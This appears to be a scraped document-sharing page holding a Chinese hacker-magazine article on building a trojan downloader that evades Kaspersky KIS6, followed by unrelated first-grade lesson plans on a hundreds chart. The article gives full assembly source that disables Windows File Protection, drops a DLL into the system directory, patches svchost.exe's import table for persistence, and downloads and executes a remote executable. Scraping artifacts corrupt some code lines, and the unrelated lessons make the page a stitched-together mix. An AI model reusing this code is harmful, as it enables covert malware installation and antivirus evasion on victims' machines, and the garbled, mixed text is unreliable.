当前位置:文档之家› 修改引入表打造穿透KIS6的下载者

修改引入表打造穿透KIS6的下载者

修改引入表打造穿透KIS6的下载者
修改引入表打造穿透KIS6的下载者

修改引入表打造穿透KIS6的下载者

今年四月份的黑防有一篇文章《把任意可执行文件作为木马载体》,文中介绍了通过给可执行文件添加一个新节并修改程序入口点的方法来加载我们的特洛伊DLL,此方法具有明显的病毒行为特征,卡巴会将其识别为新的Win32病毒,据我的理解,凡是入口点不是指向代码节的它都会报有毒.KIS是防火墙与杀毒软件等传统安全产品的超集,是行为加特征码来防范恶意软件,所以以往普遍使用的诸如:CreateRemoteThread、SetThreadContext、SetWindowHook等等以及通过Appinit_Dlls等注册表键值来进行代码注入的行为都会被KIS所拦截.而且可信进程的可疑网络行为也会被警告,如:IE浏览器访问一些非Web端口.Windows 系统服务分为独立进程和共享进程两种,在Windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,从Windows 2000开始微软又把很多服务做成共享方式,由svchost.exe 启动。svchost作为NT平台网络服务的载体,是唯一一个在kIS下拥有完全访问网络权限的程序,假如能让它加载我们的DLL,那么就可以轻松穿透KIS这堵铁墙.修改svchost的引入表就能达到这个目的,前段时间的一个后门"黑客之门"就是通过这种方式自启动的,修改EXE文件的引入表需要读者对PE文件结构有一定的了解,何为引入表呢?每个PE文件都有引入表,svchost的引入表如图1:

图1

每个引入的DLL都会用一个IMAGE_IMPORT_DESCRIPTOR表示,该结构定义如下:

IMAGE_IMPORT_DESCRIPTOR STRUCT

union

Characteristics dd ?

OriginalFirstThunk dd ?

ends

TimeDateStamp dd ?

ForwarderChain dd ?

Name1 dd ?

FirstThunk dd ?

IMAGE_IMPORT_DESCRIPTOR ENDS

对照着图应该很容易明白,修改后的引入表如图2:

这样,系统重启后svchost就会默认加载我们的sec.dll,于是强大的卡巴就倒在了脚下。

其实,像“黑客之门”一样修改引入表实现自启动非常简单,方法有两种,一种是利用微软提供的Detour 库实现,另外一种就是自己实现,我比较推荐第一种,但是抱着学习的目的我们还是得练练手,代码我已经用纯ASM实现了一个简单的下载者,仅供各位参考,概括的说一下实现过程:

1.定位目标原引入表,将其读出

2.增加一个新节

3.将被我们修改过的引入表写入新节

4.将目标的引入表地址指向新节

这有个问题需要澄清一下,增加一个新节会使目标的文件大小改变,要文件大小不变也可以,只要找到足够大的空隙,然后写入新引入表即可,我下面的代码以XP下的svchost作为例子,所以无法插入空隙,修

改使文件大小不改变的就留给各位读者当个作业吧。

.386

.model flat,stdcall

option casemap:none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;include

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include windows.inc

include kernel32.inc

includelib kernel32.lib

include advapi32.inc

includelib advapi32.lib ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;数据段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.data

dwWriten dd 0

zero dd 0

dllname db 'sec.dll',0

funpara db 0,0,'SecConfig',0

PE_Header IMAGE_NT_HEADERS <0>

My_Section IMAGE_SECTION_HEADER <>

My_Dll MAGE_IMPORT_DESCRIPTOR <>

My_DllName IMAGE_IMPORT_BY_NAME <> ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.const

Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER ;宏

CTEXT MACRO y:VARARG

LOCAL sym

CONST segment

ifidni ,<>

sym db 0

else

sym db y,0

endif

CONST ends

exitm

ENDM ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.code

include disablewfp.asm

start:

.code

call _Sfcoff ;关闭文件保护

call CreateDll

call SetFile

call Modimport ;改写PE文件引入表

exit:

invoke ExitProcess,NULL

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;对目标文件进行更名;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

SetFile proc

local destpath[255]:BYTE

local tmppath[255]:BYTE

invoke RtlZeroMemory,addr destpath,255

invoke RtlZeroMemory,addr tmppath,255

invoke GetSystemDirectory,addr destpath,255

invoke GetSystemDirectory,addr tmppath,255

invoke lstrcat,addr destpath,CTEXT("\svchost.exe")

invoke lstrcat,addr tmppath,CTEXT("\suchost.exe")

invoke MoveFile,addr destpath,addr tmppath

invoke CopyFile,addr tmppath,addr destpath,FALSE

ret

SetFile endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;RVA转换成磁盘文件中的偏移;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

RVAToOffset PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD mov esi,pFileMap

assume esi:ptr IMAGE_DOS_HEADER

add esi,[esi].e_lfanew

assume esi:ptr IMAGE_NT_HEADERS

mov edi,RVA ; edi == RVA

mov edx,esi

add edx,sizeof IMAGE_NT_HEADERS

mov cx,[esi].FileHeader.NumberOfSections

movzx ecx,cx

assume edx:ptr IMAGE_SECTION_HEADER

.while ecx>0 ; check all sections

.if edi>=[edx].VirtualAddress

mov eax,[edx].VirtualAddress

add eax,[edx].SizeOfRawData

.if edi

mov eax,[edx].VirtualAddress

sub edi,eax

mov eax,[edx].PointerToRawData

add eax,edi ; eax == file offset

ret

.endif

.endif

add edx,sizeof IMAGE_SECTION_HEADER

dec ecx

.endw

assume edx:nothing

assume esi:nothing

mov eax,edi

ret

RVAToOffset endp

Modimport proc

local szpath[255]:BYTE

LOCAL hFile: HANDLE

LOCAL dwPE_Header_OffSet: DWORD

LOCAL dwFileReadWritten: DWORD

LOCAL dwMySectionOffSet: DWORD

LOCAL dwLastSection_SizeOfRawData: DWORD

LOCAL dwLastSection_PointerToRawData: DWORD

LOCAL hMapping: DWORD

LOCAL pMapping: DWORD

LOCAL oImport[520]:BYTE

LOCAL oImportlen

LOCAL Chrarctics

LOCAL dllnamelen:DWORD

LOCAL funparalen:DWORD

LOCAL irva:DWORD

invoke RtlZeroMemory,addr oImport,520

invoke RtlZeroMemory,addr szpath,255

nvoke lstrcat,addr szpath,CTEXT("test.exe")

;打开文件:

invoke CreateFile, addr szpath, GENERIC_READ or GENERIC_WRITE,\

FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL

.if eax == INVALID_HANDLE_VALUE

jmp Err_CreateFile_Exit

.endif

mov hFile, eax

;创建内存映射文件

invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0

.if eax!=NULL

mov hMapping, eax

.endif

invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0

.if eax!=NULL

mov pMapping,eax

.endif

;****************************************

;读取PE文件头

;****************************************

invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN

invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN

invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL

;****************************************

;PE文件有效性检查

;****************************************

.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE

jmp Exit

.endif

;****************************************

;判断是否有足够空间存储新节:

;****************************************

movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节: mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER

mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER

add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移

add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER

movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]

add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER

add eax, 28h ;添加一个新节的大小

.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]

jmp Exit

.endif

;**************************************************

;计算新节的偏移地址:

;**************************************************

movzx eax, [PE_Header.FileHeader.NumberOfSections]

mov ecx, 28h

mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER

add eax, 4h ;4h = sizeof "PE\0\0"

add eax, dwPE_Header_OffSet

add eax, sizeof IMAGE_FILE_HEADER

add eax, sizeof IMAGE_OPTIONAL_HEADER

mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址

push [PE_Header.OptionalHeader.SizeOfImage]

pop [My_Section.VirtualAddress]

;****************************************

;重构引入表,在文件的最后写入我们的新节:

;****************************************

;读取原始引入表数据,读取正确的不带0的引入表

mov edi,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress] invoke RVAToOffset,pMapping,edi

mov edi,eax

invoke SetFilePointer, hFile, edi, 0, FILE_BEGIN

;不读空的结束符

mov oImportlen,0

lea edi,oImport

calclen:

invoke ReadFile, hFile, edi , 4, addr dwFileReadWritten, NULL

mov ebx,[edi]

test ebx,ebx

jz calcover

add edi,4

add oImportlen,4

jmp calclen

calcover:

;写入dll名称,定位到最后一节的raw offset处

mov eax, dwMySectionOffSet

sub eax, 18h

invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN

invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL

invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL

mov ebx, dwLastSection_SizeOfRawData

add ebx, dwLastSection_PointerToRawData

invoke SetFilePointer, hFile, ebx, 0, FILE_BEGIN

push 0

lea eax, dwFileReadWritten

push eax

mov eax,sizeof dllname

mov dllnamelen,eax

push eax ;[My_Section.SizeOfRawData]

lea eax, dllname

push eax

push hFile

call WriteFile

;写入IMAGE_THUNK_DATA

lea eax, dwFileReadWritten

push eax

mov eax,sizeof funpara

;add eax,sizeof funpara

mov funparalen,eax

push eax

lea eax, funpara

push eax

push hFile

call WriteFile

;写入IMAGE_THUNK_DATA的RVA

mov eax,[My_Section.VirtualAddress]

add eax,dllnamelen

mov irva,eax

invoke WriteFile, hFile, addr irva, 4, addr dwFileReadWritten, NULL

;写入一个空IMAGE_THUNK_DATA的RVA作为结尾

invoke WriteFile, hFile, addr zero, 4, addr dwFileReadWritten, NULL

;写入原引入表数据

mov ecx,oImportlen

invoke WriteFile, hFile, addr oImport, ecx, addr dwFileReadWritten, NULL

;构造新引入的DLL的IMAGE_IMPORT_DESCRIPTOR

mov eax,[My_Section.VirtualAddress]

add eax,dllnamelen

add eax,funparalen

mov [My_Dll.OriginalFirstThunk],eax

mov [My_Dll.TimeDateStamp],0FFFFFFFFh

mov [My_Dll.ForwarderChain],0FFFFFFFFh

mov ebx,[My_Section.VirtualAddress]

mov [My_https://www.doczj.com/doc/d814739612.html,1],ebx

mov [My_Dll.FirstThunk],eax

;写入新引入的DLL的IMAGE_IMPORT_DESCRIPTOR

invoke WriteFile, hFile, addr My_Dll, 20, addr dwFileReadWritten, NULL

;写入以0结尾的空IMAGE_IMPORT_DESCRIPTOR

push 20

pop ecx

fillzero:

push ecx

invoke WriteFile, hFile, addr zero, 1, addr dwFileReadWritten, NULL

dec ecx

test ecx,ecx

jnz fillzero

;****************************************

;填充我们自己的节的信息:

;****************************************

mov dword ptr [My_https://www.doczj.com/doc/d814739612.html,1], "ler."

mov dword ptr [My_https://www.doczj.com/doc/d814739612.html,1]+4, "co"

mov [My_Section.Misc.VirtualSize], 1000h

push [PE_Header.OptionalHeader.SizeOfImage]

pop [My_Section.VirtualAddress]

mov eax, [My_Section.Misc.VirtualSize]

mov eax,dllnamelen

add eax,funparalen

add eax,28

add eax,[PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].isize]

mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值 mov eax, dwMySectionOffSet

sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”

invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN

invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL

invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL

;每个节的PointerToRawData 等于它的上一节的SizeOfRawData + PointerToRawData:

mov eax, dwLastSection_SizeOfRawData

add eax, dwLastSection_PointerToRawData

mov [My_Section.PointerToRawData], eax

mov [My_Section.PointerToRelocations], 0h

mov [My_Section.PointerToLinenumbers], 0h

mov [My_Section.NumberOfRelocations], 0h

mov [My_Section.NumberOfLinenumbers], 0h

mov [My_Section.Characteristics], 0C0000040h ;可读可写

;**************************************************

;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)

;**************************************************

invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN

invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

;**************************************************

;改写IMAGE_NT_HEADERS

;(需要改写SizeOfImage)

;**************************************************

inc [PE_Header.FileHeader.NumberOfSections]

mov eax, [My_Section.VirtualAddress]

add eax, dllnamelen

add eax, funparalen

add eax, 8

mov [PE_Header.OptionalHeader.DataDirectory [sizeof IMAGE_DATA_DIRECTORY].VirtualAddress],eax

mov eax, [My_Section.Misc.VirtualSize]

mov ecx, [PE_Header.OptionalHeader.SectionAlignment]

cdq

div ecx

inc eax

mul ecx

add eax, [PE_Header.OptionalHeader.SizeOfImage]

mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].VirtualAddress], 0 mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*11].isize], 0

mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].VirtualAddress], 0 mov [PE_Header.OptionalHeader.DataDirectory [(sizeof IMAGE_DATA_DIRECTORY)*12].isize], 0

sub eax,1000h

mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值

invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN

invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL

;改写.text属性为E00000020h,默认.text为第一个节

mov eax, dwPE_Header_OffSet

add eax, sizeof IMAGE_FILE_HEADER

add eax, sizeof IMAGE_OPTIONAL_HEADER

add eax,40;定位到Characteristics 0E0000020h

invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN

push NULL

lea eax, dwFileReadWritten

push eax

push 4

mov Chrarctics,0E0000020h

lea eax,Chrarctics

push eax

push hFile

call WriteFile

Exit:

;关闭文件:

invoke UnmapViewOfFile, pMapping

invoke CloseHandle,hMapping

invoke CloseHandle, hFile

Err_CreateFile_Exit:

ret

Modimport endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;释放DLL至系统目录;>>>>>>>>>>>>>>>>>>>>>>>>>>>>

CreateDll proc

local hResInfo:HRSRC

local hResData:HGLOBAL

local dwSize:DWORD

local dwWritten:DWORD

local hFile:HANDLE

local hRec:HANDLE

local dllpath[255]:BYTE

invoke RtlZeroMemory,addr dllpath,255

invoke GetSystemDirectory,addr dllpath,255

invoke lstrcat,addr dllpath,CTEXT("\sec.dll")

invoke FindResource,0,1001,CTEXT("DLL")

mov hResInfo,eax

invoke SizeofResource,0,hResInfo

mov dwSize,eax

invoke LoadResource,0,hResInfo

mov hResData,eax

invoke CreateFile,addr dllpath,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL mov hFile,eax

invoke LockResource,hResData

mov hRec,eax

invoke WriteFile,hFile,hRec,dwSize,addr dwWritten,0

invoke CloseHandle,hFile

ret

CreateDll endp

end start

DLL实现下载并执行的功能,代码如下:

.386

.model flat, stdcall

option casemap :none ; case sensitive ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

include windows.inc

include kernel32.inc

includelib kernel32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> return MACRO arg

mov eax, arg

ret

ENDM

;宏

CTEXT MACRO y:VARARG

LOCAL sym

CONST segment

ifidni ,<>

sym db 0

else

sym db y,0

endif

CONST ends

exitm

ENDM ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data

szURL db 'http://127.0.0.1/gyzy.exe',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 szPath db 'c:\a.exe',0 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .code ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> LibMain proc hInstDLL:DWORD, reason:DWORD, unused:DWORD .if reason == DLL_PROCESS_ATTACH

invoke CreateThread,0,0,offset down,0,0,0

return TRUE

.elseif reason == DLL_PROCESS_DETACH

.elseif reason == DLL_THREAD_ATTACH

.elseif reason == DLL_THREAD_DETACH

.endif

ret

LibMain Endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;下载者功能执行模块;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> down proc

local downfunc:DWORD

call loadlib

lib db 'urlmon',0

call LoadLibraryA

call getfuncaddr

func db 'URLDownloadToFileA',0

getfuncaddr:

push eax

call GetProcAddress

mov downfunc,eax

again:

push 5000

call Sleep

push NULL

push NULL

push offset szPath

push offset szURL

push NULL

call downfunc

test eax,eax

jnz again

call exec

tExit:

ret

down endp

exec proc

invoke WinExec,offset szPath,1

ret

exec endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;为引入表导出的函数;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

SecConfig proc

xor eax,eax

ret

SecConfig endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

End LibMain

其中我们的DLL必须导出一个函数,否则svchost会报找不到指定的要加载的DLL,测试的时候需要先停止

windows系统文件保护,然后替换svchost.exe,重启后就会发现我们的小马已经成功下载东西,但是还有一些瑕疵有待改善,XP下默认有多个svchost,所以我们的DLL中的线程也运行了多次。卡巴大叔一点反应都没有(除程序完整性检测外其余均打开的情况下,默认的高级模式)如图3:

图3

代码写的比较匆忙,错误纰漏在所难免,权当抛砖引玉,有任何问题,欢迎和我交流:https://www.doczj.com/doc/d814739612.html, (文中涉及程序或代码已经收录到杂志配套光盘“杂志相关”栏目。)

《做个百数表》教学设计

做个百数表 教学目标: 1.在百数表上认识100以内的数。 2.在百数表上进行数的定位练习,探究数与数之间的关系。 3.培养和提升学生的思维能力、学习能力,让学生获得积极的情感体验。教学重点:理解百数表上行和列的编排规律。 教学难点:能运用百数表上行和列的编排规律,正确地填表。 教具准备:PPT课件 教学过程: 一、创设情境,自主探索 同学们,我们在前面的学习中,已经认识了100以内的数,这些数字朋友想考考我们学的怎么样,大家看,1—100这些数字都在表格里,(课件出示)可是有好多数字都隐身了大家能让这些数字现身吗 今天我们就来学做百数表 二、小组合作,探索规律 1.分组观察。 这张百数表里可藏着好多有趣的奥秘呢!现在请你们来找一找,看看表里藏着什么秘密。小组合作讨论。 2.交流表上的数。 (1)看着这个表,你有什么问题能看到哪些有趣的排列 (2)选一排读一读。(可以选横排,也可以选竖排) (3)横看有什么规律竖看有什么规律斜看有什么规律 (4)小结:从左往右横着看:每一行横着的数的个位都是 1,2,3,45,6,7,8,9,0。从上往下竖着看:每一竖行的数的个位上的数都一样,十位上的数是0,1,2,3,4,5,6,7,8,9。从左上往右下斜着看:每一斜行的数的个位上的数和十位上的数都比前一个数对应数位上的数大1(100除外)。 (5)思考:55的前一个数是多少后一个数是多少 (6)谁还想考考大家你还发现了什么 (7)小结:通过探究,发现了百数表上行和列排列的一些小秘密,每行都是挨着次序排列的,从左往右依次大1.每列也是依次排列的,但它的次序是从上往下依次大10。 3.大家在百数表里发现了这么多秘密,真棒!这里有一些“魔力框”,大家仔细观察,在“魔力框”中你还会有新的发现的! 课件出示:用三种不同形状的图形分别在百数表中框出几个数,要求读一读,并找一找这几个数之间有什么联系,在小组里交流。 (出示带一个数的框)你能按照百数表,猜出框里另外的几个数吗 三、巩固深化,应用拓展

做个百数表-练习题汇总

姓名:班级:一、想一想,填一填 50后面的第6个数是(),60后面的第7个数是()。30在()和()的中间。 与69相邻的两个数是(()。 二、完成下列表格 45 26)和()。个位上是7的数有 28 3739 48 66 三、找规律,填一填 (1)16、18、20、()、()、()、28、()。(2)100、70、()、()。 (3)13、23、33、()、()、()、73、()。

姓名:班级:一、按百数表填空。 (1)个位是8的数有: 。共()个 (2)十位是5的数有: 。共()个 (3)十位和个位相同的数有: 。共()个 二、完成表格 28 63 4815三、完成百数表,并将个位或十位有2的数图上颜色。

□ 姓名: 班级: 1、根据百数表填空。 是数字( ), △ 是 ( ),☆是( 是( )。 ),○ 2、在百数表中,73 周围的数是( ) ( )( )( )。 3、按百数表填空。 (4) (5)个位是 2 的数有: 。共( )个 (6) (7)十位是 6 的数有: 。共( )个 (8) (9)十位和个位中有数字 4 的有:

。共()个 三、 四、找规律,填一填 (1)16、18、20、()、()、()、28、()。(2)75、70、()、()。 做个百数表练习四 姓名:班级:一、根据百数表填空。 95向上五格是();36向左四格是(); 二、填表。

□是数字(),是(),☆是(),是(),是()。 三、按百数表填空 55 四、找规律,填一填 (1)6、8、10、()、((2)100、80、()、( 48 )、()、18、()。)。

做个百数表 教学设计

做个百数表 教学内容:数学书32~33页内容。 教学目标 1、在百数表上认识100以内的数,并进行数的定位练习。探究数与数之间的关系。 2、通过观察、动手操作,引导学生自主发现百数表中行与列的编排规律,并能运用规律正确填表。 3、培养和提升学生的思维能力、学习能力,让学生获得积极的情感体验。 教学重点:理解百数表上行和列的编排规律。 教学难点:能运用百数表上行和列的编排规律,正确地填表。 教学准备:课件,百数表。 教学过程: 一、创设情境,自主探索 数学王国开运动会啦!数娃娃们拍成了整齐的方队(出示百数表),请小朋友们仔细观察一下,这些数娃娃是怎么排队的? 同桌互相说一说。 方队里还有不少位置是空着的,你知道是哪些数娃娃还没有来吗?。 小组活动:边数数边填写,在书上完成百数表。 二、小组合作,探索规律 1、展示百数表 这张百数表里可藏着好多有趣的奥秘呢! (1)横着选几排数读一读,在小组内说说数娃娃的排列有什么规律。 学生观察,讨论,交流。 (2)让学生指着不同横排说一说。 (3)进一步启发:竖着看又有什么规律?斜着看呢?转弯看呢?请小朋友积极开动脑筋,把你发现的规律告诉小组里的小朋友! 学生独立思考,小组交流。 2、大家在百数表里发现了这么多奥秘,真棒!这里有一些“魔力框”,大家仔细观察,在“魔力框”里你还会有新的发现的! (1)课件出示:用三种不同形状的图形分别在百数表里框出几个数。要求读一读,并找一找这几个数之间有什么联系,在小组里交流。 (2)(出示带一个数的框)你能按照百数表,猜出框里另外的几个数吗? 学生猜一猜,在书上填一填。 三、巩固深化,应用拓展 1、引导完成“练一练”第1题。

做个百数表

课题:做个百数表 一、教学目标: 1、通过自主探索,合作交流完成对百数表的整理,进一步理解100 以内数的顺序、含义和排列规律、巩固数的读写。 2、在独立思考和合作交流的过程中探索规律,培养自主探索精神和创新意识,并进一步发展数感。 二、教学重难点:掌握比较数的大小的方法。 三、教学准备:1.(学生) 2.(老师)PPT 四、教学过程 1 创设情境 师:数学王国里开运动会啦,数娃娃们排成了整齐的方队,请小朋友们仔细观察一下,这些数娃娃们是怎样排队的?(小组讨论) 方队里还有不少位置是空着的,你知道是哪些数娃娃还没来吗?(边数边填,完成百数表) 填完以后数一数。 2 探索新知 师:这张百数表中藏这好多有趣的奥妙呢! (1)横着选一行读一读。在组里说说有什么规律? [如:41、42、43、44、45、46、47、48、49、50,左边九个数的十位上是相同的,个位上的数依次是1、2、3、4、5、6、7、8、9最后一个是整十数。] (2)竖着选一行读一读。在组里说说有什么规律?

[如:5、15、25、35、45、55、65、75、85、95个位上都是5,上下两个数相差10,第一个数是一位数,其他是两位数。] (3)斜着选一行读一读。在组里说说有什么规律? 如:11、22、33、44、55、66、77、88、99个位和十位上的数都相同。……] 师:小朋友们真了不起,在这张百数表里发现了这么多奥秘。老师还给你们带来了几张“魔力框”看看魔力框里的数有什么联系。(小组交流) 分别出示三张框。 3 练习巩固 课后练习1、2、3、4 教学反思 本节课的内容是孩子们第一次接触,对学习素材感兴趣,产生主动学习的愿望,是学生主动探索的重要前提。百数表是孩子们第一次接触,教师又告诉大家百数表里藏着很多的小秘密,这在很大程度上激发了孩子想寻找秘密的好奇心,这些看似单调的数字宝宝,会藏着哪些小秘密呢……这时候的百数表在孩子的眼里是富有情感,具有活力的东西,激发了学生强烈的探究欲望,诱发了学生参与的意识,使学生想探究。所以孩子们的汇报就很精彩,可以横着看,竖着看,斜着看,跳着看,思维一下子就活跃了,课堂就更富有生趣。 在学生了解了百数表排列的规律后,出现了不同层次的练习,第一层次在魔力框里填数字,这时框里的数字缺的较少;第二层次缺少了大部分的数,只给了与要找的数有关联的;第三层次只给出了框中的一个数,直接要求孩子们找数;每一个层次的练习,既有孩子们的

(完整版)做个百数表_练习题汇总

姓名 班级: )、()、73、() 一、 想一想,填一填 50后面的第6个数是( ),60后面的第7个数是( )。 30在( )和( )的中间。 与69相邻的两个数是( )和( )。个位上是7的数有 ( )。 (1) 16、 18、 20、( )、( (2) 100、 70、( )、( ) (3) 13、 23、 33、( )、( 45 28 37 39 48 26 三、找规律,填一填 二、 完成下列表格

姓名 班级 一、按百数表填空。 (1) 个位是8的数有: ______________________________________ _____________________________ 。共()个 (2) 十位是5的数有: ______________________________________ _____________________________ ()个 (3) ___________________________________________________ 十位和个位相同的数有: _____________________________________ _____________________________ ()个 、完成表格 三、完成百数表,并将个位或十位有 2的数图上颜色 2 3^ 4J & 7P 翻 10* + Ik '.2 ]3 14* 15* 17- 18+ 19* 22 + 2b :Mr £ 孕 2S* 如+ 3U 运 込 仙 35* 37* 38* 42 * 41* 忤 45* 4弘 5b 5牛 必 5£ 57* 驱+ 61* ◎ 64* 65* □ 眇 70Z 28 48

《做个百数表》教学设计

《做个百数表》教学设计 教学内容:北师大版数学一年级下册P32—33页《做个百数表》 教学目标: 1.通过填写百数表,进一步认识100以内数的顺序,发现其规律。 2.通过自主探究、小组交流、探索百数表蕴藏的数位规律,发展学生的数学思维。 3.激发学生学习数学兴趣,体会数学的乐趣。 教学重难点: 教学重点:认识100以内数的顺序,发现其规律。 教学难点:探索百数表中数的规律,并用规律解决问题。 教学过程: 一、创设情境,激发兴趣,引入新课 课件出示阅兵视频(图片) 问:这样的队列表演,你们见过吗?(见过、没见过)看,他们的队列多整齐呀! 师:我们学过的数朋友呀,也想参加队列表演,你们想看吗?(想)出示:百数队列表演 1.出示:2,4,6,8,10 师:我们请第一行的队伍出场,,这一行,来的都是什么数?缺了哪些数?(课件根据学生回答出示:1,3,5,7,9) 2.师:我们再请第二行队伍,出示(11,13,15,17,19),看,来的都是是什么数?还缺了什么数?(根据回答出示:12,14,16,18,20)

3.我们再看这支队伍(出示:11,22,33,44,55,66)66的右下方(课件闪烁对应方格)应该是什么数? 预设: 生:应该是77,88,99,这些数的各位和十位都是一样的。后面比前面多1。(根据回答依次出现(77,88,99)) 师:十位和各位一样,表示的意思一样吗? 预设:不一样 4.再看这支队伍(出示28,37,46,55,64),64的左下方(课件闪烁对应方格)应该是什么数? 预设:73,82,91,因为他们十位依次多一,个位依次少1.(根据回答,依次出现73,82,91) 师:太好了,这时候,我们的数朋友都来了,(课件出示完整的百数表)一共来了多少个数? 生:100个? 5.揭题 像这样,把1—100的数,按顺序填在一个表格里,我们称它为百数表(板书:百数表) 师:瞧,他们排列多整齐呀,如果老师要在这队列里找十位是3的数,应该到哪里找呢? 预设:第四行里找(根据学生回答,31—39变黄色) 师:还缺哪个数 生:30(根据回答,变黄色)

做个百数表

第六课时 内容做个百数表(100以内数的顺序) 目标: 1.在百数表上认识100以内的数。 2.在百数表上进行数的定位练习,探究数与数之间的关系。 3.培养和提升学生的思维能力、学习能力,让学生获得积极的情感体验 重点:理解百数表上行和列的编排规律。 难点:能运用百数表上行和列的编排规律,正确地填表。 过程: 一、创设情境,自主探索 数学王国开运动会了!7娃娃排成了整齐的方队(出示百数表),请小朋友仔细观察一下,这些7娃娃是怎样排队的? 方队里还有不少位置是空着的,你知道是哪些7娃娃还没来吗? 我们一起来学习隐藏在7娃娃方队中的秘密吧! 二、小组合作,探索规律 1.分组观察。 这张百数表里可藏着好多有趣的奥秘呢!现在请你们来找一找,看看表里藏着什么秘密。小组合作讨论。 2.交流表上的数。 看着这个表,你有什么问题?能看到哪些有趣的排列? 选一排读一读。(可以选横排,也可以选竖排) 横看有什么规律?竖看有什么规律?斜看有什么规律? 从左往右横着看:每一行横着的数的个位都是1,2,3,4,5,6,7,8,9,0。 从上往下竖着看:每一竖行的数的个位上的数都一样,十位上的数是0,1,2,3,4,5,6,7,8,9。 从左上往右下斜着看:每一斜行的数的个位上的数和十位上的数都比前一个数对应数位上的数大1(100除外)。 55的前一个数是多少?后一个数是多少? 谁还想考考大家?你还发现了什么? 小结:通过探究,发现了百数表上行和列排列的一些小秘密,每行都是挨着次序排列的,从左往右依次大1.每列也是依次排列的,但它的次序是从上往下依次大10。 3.大家在百数表里发现了这么多秘密,真棒!这里有一些“魔力框”,大家仔细观察,在“魔力框”中你还会有新的发现的! 课件出示:用三种不同形状的图形分别在百数表中框出几个数,要求读一读,并找一找这几个数之间有什么联系,在小组里交流。 (出示带一个数的框)你能按照百数表,猜出框里另外的几外几个数吗? 三、巩固深化,应用拓展

设备大修施工方案

